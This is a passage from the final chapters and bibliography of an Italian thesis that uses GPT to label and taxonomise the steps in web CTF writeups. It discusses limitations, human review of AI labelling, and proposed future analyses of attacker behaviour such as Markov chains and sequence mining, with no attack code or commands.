- Convalida e verifica dei risultati. Implementare un processo di validazione più rigoroso per assicurare l'affidabilità dei risultati, includendo confronti con altre metodologie di ricerca.

### **Promozione della collaborazione e della condivisione**

- Collaborazione interdisciplinare. Stabilire sinergie con professionisti di altri settori, come analisti di dati o esperti di sicurezza, per integrare diverse prospettive e arricchire l'approccio di ricerca.
- Condivisione aperta dei dati. Rendere accessibili i dataset e i risultati di ricerca alla comunità scientifica per stimolare ulteriori studi e sviluppi.

In conclusione, un approccio che combinasse queste direttive non solo accrescerebbe l'accuratezza e la rilevanza dei risultati, ma fornirebbe anche una base più solida per ricerche future nel campo della sicurezza informatica.

### **5.2.5 Integrazione di approcci analitici avanzati e innovazioni future**

La presente ricerca evidenzia le potenzialità offerte dall'integrazione di metodologie analitiche avanzate, inclusi l'evoluzione di modelli AI come GPT e l'adozione di tecniche qualitative, per approfondire la comprensione dei comportamenti degli attaccanti nelle sfide CTF. Queste innovazioni promettono di superare le limitazioni attuali e aprire nuove prospettive nel campo.

#### **Potenziamento di GPT e altri modelli AI**

- Evoluzione dei modelli AI. I progressi nei modelli AI come GPT possono portare a un incremento della precisione, della comprensione del contesto e dell'efficacia nell'elaborazione dei dati.
- Utilizzo di versioni future di GPT. L'adozione di nuove versioni di GPT potrebbe migliorare notevolmente le fasi di generazione della tassonomia e di etichettatura.

#### **Impiego di modelli di machine learning specializzati**

- Sviluppo di modelli specifici. L'uso di modelli di machine learning specializzati per compiti come lo sviluppo della tassonomia o l'etichettatura dei dati può aumentare l'efficacia rispetto a un modello generico.
- Integrazione di tecniche diverse di machine learning. Combinare vari approcci di machine learning, come l'apprendimento supervisionato e non supervisionato, per affinare la categorizzazione e la rilevazione di pattern.

#### **Implementazione di metodi analitici qualitativi**

- Analisi qualitativa approfondita. Complementare l'analisi quantitativa con approcci qualitativi per una migliore comprensione delle sfumature e delle complessità.
- Case study e interviste con esperti. Arricchire la ricerca con studi di caso e interviste a esperti per acquisire insight più profondi.

#### **Collaborazione con altre piattaforme di IA**

- Esplorazione di diverse piattaforme IA. Valutare l'uso di altri modelli AI, come BARD di Google, per confrontare e integrare i risultati ottenuti con GPT.
- Sviluppo di algoritmi personalizzati. Creare o utilizzare algoritmi personalizzati per esigenze di ricerca specifiche.



## Educazione e formazione sui nuovi strumenti IA

- Formazione nell'uso di strumenti IA avanzati. Promuovere opportunità di formazione per sviluppare competenze nell'uso di strumenti AI avanzati.
- Workshop e collaborazioni interdisciplinari. Organizzare eventi per la condivisione di conoscenze e tecniche tra esperti di diversi ambiti.

Incorporando questi sviluppi, la ricerca futura nel campo della sicurezza informatica potrebbe non solo superare le limitazioni attuali, ma anche aprire nuove frontiere nella comprensione e nell'analisi dei comportamenti degli attaccanti nelle sfide CTF. L'integrazione di metodi analitici avanzati, sia quantitativi che qualitativi, supportata dall'evoluzione continua dei modelli AI, può portare a importanti scoperte e sviluppare strategie più efficaci per affrontare le sfide di sicurezza informatica.

### 5.2.6 Riassunto delle limitazioni e dei potenziali miglioramenti

Nel riassunto conclusivo della ricerca in sicurezza informatica, emergono diverse limitazioni che hanno caratterizzato il metodo di studio impiegato. Un aspetto fondamentale riguarda le limitazioni legate ai dati utilizzati, che sono strettamente correlati alla qualità e rappresentatività del dataset raccolto. In particolare, si nota una certa carenza nella varietà dei dati, principalmente dovuta alla concentrazione su specifici ambiti della sicurezza web. Inoltre, l'uso di GPT nella ricerca ha portato alla luce alcune sfide, come la variabilità nella precisione e potenziali errori di interpretazione, evidenziando l'indispensabile necessità di una supervisione umana attenta per correggere gli errori e garantire la coerenza nelle etichettature.

Un altro aspetto critico riguarda l'esperienza del revisore, il cui impatto sulla qualità del lavoro è significativo. La competenza e l'esperienza del revisore manuale influenzano profondamente il processo, con la possibilità che bias personali e incoerenze si insinuino durante la revisione.

Guardando al futuro, la ricerca ha individuato diverse direzioni per il miglioramento e l'approfondimento delle indagini future. Un ampliamento e una diversificazione dei dati raccolti sono fondamentali, includendo writeup da sfide CTF più complesse e vari temi. Questo aiuterebbe a creare un campione di dati più ampio e variegato. Parallelamente, l'evoluzione della tassonomia è una componente cruciale, con lo sviluppo di categorie più specifiche e un adattamento dinamico della tassonomia stessa alle nuove scoperte nel campo. Inoltre, il miglioramento dell'etichettatura e del processo di revisione, mediante il coinvolgimento di esperti più qualificati e l'esplorazione di possibilità di automatizzazione, potrebbe ridurre significativamente il rischio di errori.

L'adozione di approcci analitici avanzati e l'integrazione di innovazioni tecnologiche, come la sperimentazione con modelli di machine learning specializzati e l'analisi qualitativa,

rappresentano un altro percorso di sviluppo. Questo potrebbe essere ulteriormente potenziato dalla collaborazione con altre piattaforme di intelligenza artificiale. Infine, un investimento nella formazione continua e nell'organizzazione di workshop interdisciplinari è fondamentale per sviluppare competenze avanzate nell'uso di strumenti AI.

Le riflessioni finali della ricerca sottolineano come la consapevolezza delle limitazioni e delle possibilità di miglioramento non solo aumenti la trasparenza e l'affidabilità dei risultati, ma fornisca anche spunti cruciali per il futuro della ricerca nel campo della sicurezza informatica. La natura evolutiva e dinamica di questo settore è enfatizzata dalla necessità di sviluppare continuamente nuove metodologie di ricerca. L'approccio olistico e critico adottato in questa tesi, specialmente riguardo all'uso innovativo di GPT, guida verso la scoperta di nuove comprensioni dei comportamenti degli attaccanti nelle sfide CTF e contribuisce allo sviluppo di strategie di difesa più efficaci. In conclusione, l'approfondimento e l'espansione di questo metodo di ricerca potrebbero aprire nuove prospettive e opportunità nel campo della sicurezza informatica, stimolando un significativo progresso nella lotta contro le minacce cyber, e sottolineando l'importanza del processo utilizzato e dell'innovazione nell'impiego di GPT come strumento di analisi.

### **5.3 Analisi dei dati: un progetto più ampio**

Nel campo delle competizioni di Capture The Flag (CTF), l'analisi dei dati rappresenta un ambito fondamentale non ancora esplorato in questo lavoro, ma che gioca un ruolo cruciale nella decodifica e comprensione dei comportamenti e delle strategie degli attaccanti. La raccolta e l'etichettatura meticolosa dei substep dei writeup CTF, descritte in questa tesi, possono aprire le porte a future analisi approfondite, che vanno ben oltre la mera osservazione superficiale. Pertanto, questa sottosezione illustra le potenzialità di un'analisi di questi dati etichettati in futuro, strutturati attraverso una tassonomia dettagliata, per svelare modelli comportamentali complessi, tendenze e tecniche ricorrenti impiegate dagli attaccanti.

L'approfondimento di questi dati, se intrapreso in lavori futuri, permetterebbe di trascendere l'aspetto tecnico delle singole azioni e di comprendere le dinamiche sottostanti che guidano gli attaccanti nelle varie fasi delle competizioni. Le tecniche di analisi quantitative e qualitative, che potrebbero essere impiegate, mirano ad identificare non solo quali azioni sono frequentemente adottate, ma anche come queste si interconnettono per formare strategie coerenti e efficaci. Questo tipo di insight rappresenterebbe un contributo fondamentale non solo per affinare le tecniche di difesa e le strategie di formazione nel campo della sicurezza informatica, ma anche per anticipare e mitigare potenziali minacce future.

In una prospettiva futura, ci si potrebbe immergere nel mondo degli attaccanti CTF, esplorando il "come" e il "perché" dietro le loro scelte e azioni, fornendo un contributo significativo alla comprensione generale della sicurezza informatica e delle dinamiche delle competizioni CTF. Tale analisi, se realizzata, amplierebbe notevolmente il valore di questo

studio iniziale, offrendo una visione più approfondita e dettagliata del campo.

### **5.3.1 Analisi statistica**

Prospettivamente, attraverso un'analisi che potrebbe essere intrapresa in futuro, possiamo quantificare e valutare tendenze e pattern emergenti dai comportamenti degli attaccanti, offrendo una panoramica di aspetti chiave come la frequenza di specifici tipi di attacchi, l'utilizzo di particolari vulnerabilità, e l'impiego di diversi strumenti e linguaggi di programmazione.

Il processo di analisi, se realizzato in lavori successivi, inizierebbe con l'aggregazione di tutti i substep etichettati secondo le categorie e sottocategorie definite nella nostra tassonomia. Ciò permetterebbe di calcolare la frequenza con cui determinate azioni, come l'interazione con le pagine web, l'analisi dei sistemi o la gestione delle vulnerabilità, vengono eseguite negli scenari di CTF.

Una futura analisi statistica fornirebbe, quindi, una visione generale dei comportamenti più frequenti e significativi in contesti CTF. Ad esempio, si potrebbe identificare se gli attaccanti tendono a privilegiare certi tipi di vulnerabilità, o se esistono preferenze nella scelta degli strumenti e dei linguaggi di programmazione. Queste informazioni potrebbero servire anche per anticipare le tendenze future nel comportamento degli attaccanti.

Questa comprensione basata sui dati, se sviluppata, sarebbe cruciale per informare e guidare le strategie di difesa in ambito di sicurezza informatica. Attraverso una tale analisi statistica, sarebbe possibile individuare aree di potenziale rischio e punti di forza comuni, permettendo ai professionisti della sicurezza di adeguare le loro difese in modo proattivo. Inoltre, i risultati di questa analisi potrebbero essere utilizzati per arricchire i programmi di formazione e sensibilizzazione, fornendo esempi concreti e pertinenti di comportamenti tipici degli attaccanti nelle competizioni CTF.

### **5.3.2 Analisi del comportamento degli attaccanti**

L'analisi delle sequenze di azioni, rappresentate dagli step e substep nei writeup delle competizioni CTF, potrebbe offrire in futuro una finestra unica nel comprendere le strategie comuni e le tattiche ricorrenti utilizzate dagli attaccanti. Questo processo, che non è stato ancora intrapreso in questa tesi, non si limiterebbe ad una semplice valutazione delle azioni isolate, ma si focalizzerebbe sulle loro interconnessioni e sulla sequenzialità delle mosse degli attaccanti.

Come dimostrato da Marco Barca [15], la costruzione di grafi per modellare il comportamento degli attaccanti offre un approccio innovativo per l'analisi di queste sequenze. Il framework "AttackModeler" da lui sviluppato facilita la visualizzazione e l'analisi delle

sequenze di azioni attraverso rappresentazioni grafiche, permettendo di individuare schemi e transizioni tipiche nel comportamento degli attaccanti. Questa metodologia può essere particolarmente utile per comprendere in modo più dettagliato e strutturato le strategie adottate durante le competizioni CTF.

### **esplorazione sequenziale delle azioni**

- Ordine temporale. Un'analisi futura potrebbe partire dal considerare l'ordine temporale in cui i substep si verificano, ponendo attenzione a come gli attaccanti avanzano da un'azione all'altra. Questo permetterebbe di individuare schemi e transizioni tipiche, fornendo una mappa delle strategie utilizzate per navigare e superare le sfide.
- Transizioni tra categorie. In un'analisi successiva, si potrebbe esaminare come gli attaccanti si spostano da una categoria di azioni a un'altra. Ad esempio, si potrebbe notare come frequentemente dopo azioni di "Web Interaction" seguano passaggi specifici di "Vulnerability Assessment", indicando una metodologia comune di esplorazione e sfruttamento delle vulnerabilità.

### **Tecniche di analisi**

- Catene di Markov. Si potranno implementare catene di Markov in futuro per modellare le probabilità di transizione da una categoria all'altra, offrendo una rappresentazione quantitativa del flusso delle azioni.
- Sequence mining. In lavori successivi si potranno applicare algoritmi di sequence mining per estrarre pattern frequenti nelle sequenze di substep. Questo permetterebbe di identificare quali combinazioni di azioni sono più comuni e potenzialmente indicative di certe strategie di attacco.

L'importanza di una tale analisi, se realizzata, risiederebbe nella capacità di offrire una visione più profonda e dettagliata delle metodologie adottate dagli attaccanti. Comprendendo le sequenze e i pattern ricorrenti, si sarebbe in grado di anticipare le mosse degli attaccanti, identificando quali strategie tendono a prediligere e quali percorsi sono più comunemente seguiti per raggiungere un obiettivo.

Questa comprensione approfondita è fondamentale non solo per analizzare i comportamenti passati, ma anche per prevedere possibili tendenze future. Le tecniche e le strategie che emergerebbero come ricorrenti potrebbero indicare aree di vulnerabilità prevalenti o metodologie di attacco in evoluzione.

### 5.3.3 Rilevazione di pattern comportamentali

Un'analisi futura potrebbe utilizzare modelli avanzati di intelligenza artificiale e altri metodi analitici per svolgere un ruolo fondamentale nella rilevazione di pattern complessi e sequenze di azioni che emergono attraverso diversi writeup di competizioni CTF. Questi strumenti, non ancora impiegati in questo lavoro di tesi, non solo aumenterebbero l'efficienza nell'analisi di grandi volumi di dati, ma offrirebbero anche la capacità di catturare dettagli e connessioni che potrebbero sfuggire ad un'analisi puramente manuale.

#### **Applicazione di modelli IA avanzati**

- Machine learning e deep learning. In futuro, si potranno utilizzare modelli di machine learning, inclusi algoritmi di deep learning, per analizzare i pattern nei dati. Questi modelli sarebbero in grado di identificare correlazioni e tendenze non immediatamente evidenti, apprendendo dai dati stessi per rilevare schemi ricorrenti.
- Natural Language Processing (NLP). Utilizzando tecniche di NLP, si potrà analizzare il linguaggio utilizzato nei writeup, estrarre informazioni chiave e comprendere meglio le descrizioni delle azioni e delle strategie adottate dagli attaccanti.

#### **Uso di altri metodi analitici**

- Network analysis. Tecniche di network analysis potrebbero essere implementate per visualizzare le relazioni tra diverse categorie e azioni. Ciò permetterebbe di identificare come certi comportamenti o tecniche siano interconnessi e frequentemente associati.
- Data mining. Attraverso l'uso di algoritmi di data mining, si potrebbero estrarre pattern, associazioni e sequenze dal dataset, rivelando insight nascosti e meno ovvi riguardo alle strategie degli attaccanti.

L'analisi basata su queste tecnologie avanzate offrirebbe, se realizzata, una visione più completa e multidimensionale degli attacchi nelle CTF. Potrebbe permettere di:

- Individuare sequenze comuni, identificando azioni che si ripetono in scenari diversi e suggerendo un *modus operandi* comune tra gli attaccanti.
- Capire le tendenze emergenti, osservando l'evoluzione delle strategie nel tempo e rilevando nuove tecniche o variazioni nelle tattiche utilizzate.
- Prevedere comportamenti futuri, analizzando i pattern storici per anticipare possibili direzioni future nelle strategie degli attaccanti.

In conclusione, l'integrazione di modelli avanzati di IA e altri metodi analitici rappresenterebbe un elemento essenziale per una comprensione più profonda e dettagliata dei comportamenti degli attaccanti nelle competizioni CTF.

### 5.3.4 Vantaggi dell'analisi dei dati

L'analisi dei dati derivanti dai writeup delle competizioni CTF, se eseguita in futuro, offrirebbe una serie di vantaggi significativi, non solo nel contesto specifico delle competizioni stesse, ma anche nell'ambito più ampio della sicurezza informatica.

#### Miglioramento delle strategie di difesa

- Anticipazione delle minacce. L'analisi delle strategie e delle tattiche utilizzate dagli attaccanti consentirebbe di anticipare possibili minacce e di sviluppare meccanismi di difesa più efficaci.
- Rafforzamento della sicurezza. Identificando le vulnerabilità più frequentemente sfruttate e gli errori comuni, si potrebbe rafforzare i sistemi di sicurezza contro attacchi simili in futuro.

#### Formazione mirata per professionisti della sicurezza

- Approfondimento delle competenze. L'analisi dei dati potrebbe permettere ai professionisti della sicurezza di apprendere direttamente dalle esperienze degli altri, guadagnando competenze pratiche e comprensione delle tecniche di attacco e difesa.
- Sviluppo di corsi di formazione. I risultati dell'analisi potrebbero essere utilizzati per sviluppare materiali di formazione e corsi focalizzati su aree di particolare rilevanza o su nuove minacce emergenti.

#### Innovazione nella progettazione delle sfide CTF

- Creazione di sfide più efficaci. L'analisi dei dati aiuterebbe a comprendere quali tipi di sfide sono più efficaci nell'insegnare concetti specifici, consentendo di progettare sfide CTF più coinvolgenti e formative.
- Adattamento alle tendenze. Analizzando le tendenze correnti, gli organizzatori potrebbero creare sfide che rispecchiano le reali minacce e i contesti attuali della sicurezza informatica.

In conclusione, l'analisi dei dati delle competizioni CTF non solo arricchirebbe la comprensione degli approcci offensivi e difensivi nell'ambito della sicurezza informatica, ma stimolerebbe anche l'innovazione, la formazione e la ricerca.

### 5.3.5 Riassunto dell'analisi dei dati

In questo lavoro di ricerca, è stata delineata l'analisi dei dati derivanti dai writeup delle competizioni CTF come un possibile percorso innovativo per approfondire la sicurezza informatica, con l'intenzione di aprire prospettive per futuri sviluppi. Questo processo, non ancora realizzato, include la raccolta e l'etichettatura meticolosa dei substep dei writeup, prospettando un'analisi che potrebbe svelare tendenze e tecniche ricorrenti tra gli attaccanti.

La presente indagine ha delineato un iniziale approccio statistico ai substep etichettati per identificare azioni comuni e approcci ricorrenti, con l'intento di fornire una visione generale delle tecniche e vulnerabilità sfruttate frequentemente. Questo esame preliminare è pensato per gettare le basi per anticipare e mitigare minacce future.

Sono state, inoltre, esplorate teoricamente le sequenze di azioni e le transizioni tra diverse categorie per comprendere meglio le potenziali metodologie degli attaccanti. È stato suggerito l'uso di tecniche come le catene di Markov e il sequence mining per modellare le probabilità di transizione e identificare pattern frequenti in lavori futuri, offrendo una visione dettagliata delle strategie impiegate nelle competizioni CTF.

È stato proposto, come step successivo, l'impiego di modelli avanzati di intelligenza artificiale, inclusi machine learning, deep learning e NLP, per rilevare pattern complessi e tendenze meno evidenti. Questi strumenti avanzati, se utilizzati, consentirebbero di catturare dettagli e connessioni importanti.

I benefici potenziali di questo approccio di analisi includerebbero il potenziamento delle strategie di difesa, la formazione mirata per i professionisti della sicurezza e l'innovazione nella progettazione delle sfide CTF.

In conclusione, la prospettata analisi dei dati dei writeup CTF non solo potrebbe approfondire la comprensione degli approcci offensivi e difensivi in sicurezza informatica, ma aprirebbe anche le porte a nuove direzioni in termini di innovazione, formazione e ricerca.

# Bibliografia

- [1] European Union Agency for Cybersecurity (ENISA). «CTF Events». In: (2021). Published May 10, 2021. URL: <https://www.enisa.europa.eu/publications/ctf-events>.
- [2] Stylianos Karagiannis e Emmanouil Magkos. «Adapting CTF challenges into virtual cybersecurity learning environments». In: *Information and Computer Security* 29.1 (2021), pp. 105–132. ISSN: 2056-4961. DOI: 10.1108/ICS-04-2019-0050.
- [3] Valdemar Švábenský, Pavel Čeleda, Jan Vykopal e Silvia Brišáková. «Cybersecurity Knowledge and Skills Taught in Capture the Flag Challenges». In: *Computers Security* (2020). ISSN: 0167-4048. DOI: 10.1016/j.cose.2020.102154. URL: <https://www.sciencedirect.com/science/article/pii/S0167404820304272>.
- [4] Murat Aydos, Çiğdem Aldan, Evren Coşkun e Alperen Soydan. «Security testing of web applications: A systematic mapping of the literature». In: *Journal of King Saud University - Computer and Information Sciences* 34 (2022), pp. 6775–6792. URL: <https://api.semanticscholar.org/CorpusID:239190456>.
- [5] Varun Sangwan Dr. C. Amuthadevi Sparsh Srivastava. «A Study on Web Application Vulnerabilities to find an optimal Security Architecture». In: (2022).
- [6] Sandeep Kumar, R. Mahajan, N. Kumar e S. K. Khatri. «A study on web application security and detecting security vulnerabilities». In: (2017), pp. 451–455. DOI: 10.1109/icrito.2017.8342469.
- [7] Shanto Roy, Emmanouil Panaousis, Cameron Noakes, Aron Laszka, Sakshyam Panda e George Loukas. «SoK: The MITRE ATTCK Framework in Research and Practice». In: *arXiv preprint arXiv:2304.07411* (2023). Submitted to IEEE SP 2024 for possible publication. URL: <https://arxiv.org/abs/2304.07411>.
- [8] Evans Kotei e Ramkumar Thirunavukarasu. «A Systematic Review of Transformer-Based Pre-Trained Language Models through Self-Supervised Learning». In: 14.3 (2023), p. 187. DOI: 10.3390/info14030187.
- [9] P Sumathy Lijimol George. «An Integrated Clustering and BERT Framework for Improved Topic Modeling». In: (2023). DOI: 10.21203/rs.3.rs-1986180/v1.



- [10] Marcin Paprzycki Jan Sawicki. «The State of the Art of Natural Language Processing—A Systematic Automated Review of NLP Literature Using NLP Techniques». In: *Data Intelligence* (2023).
- [11] Anton Chernyavskiy, Dmitry Ilvovsky e Preslav Nakov. «Transformers: "The End of History" for NLP?» In: abs/2105.00813 (2021).
- [12] Shengzhong Liu, Franck Le, Supriyo Chakraborty e Tarek F. Abdelzaher. «On Exploring Attention-based Explanation for Transformer Models in Text Classification». In: *2021 IEEE International Conference on Big Data (Big Data)* (2021), pp. 1193–1203. DOI: 10.1109/BigData52589.2021.9671639.
- [13] Ming Li Zong e Bhaskar Krishnamachari. «A Survey on GPT-3». In: *ArXiv* (2022).
- [14] Maanak Gupta, CharanKumar Akiri, Kshitiz Aryal, Eli Parker e Lopamudra Praharaj. «From ChatGPT to ThreatGPT: Impact of Generative AI in Cybersecurity and Privacy». In: (2023). URL: <https://arxiv.org/abs/2307.00691>.
- [15] Marco Barca. «Modellazione e analisi del comportamento di un attaccante mediante la costruzione di grafi». Tesi Magistrale. Politecnico di Torino, 2023.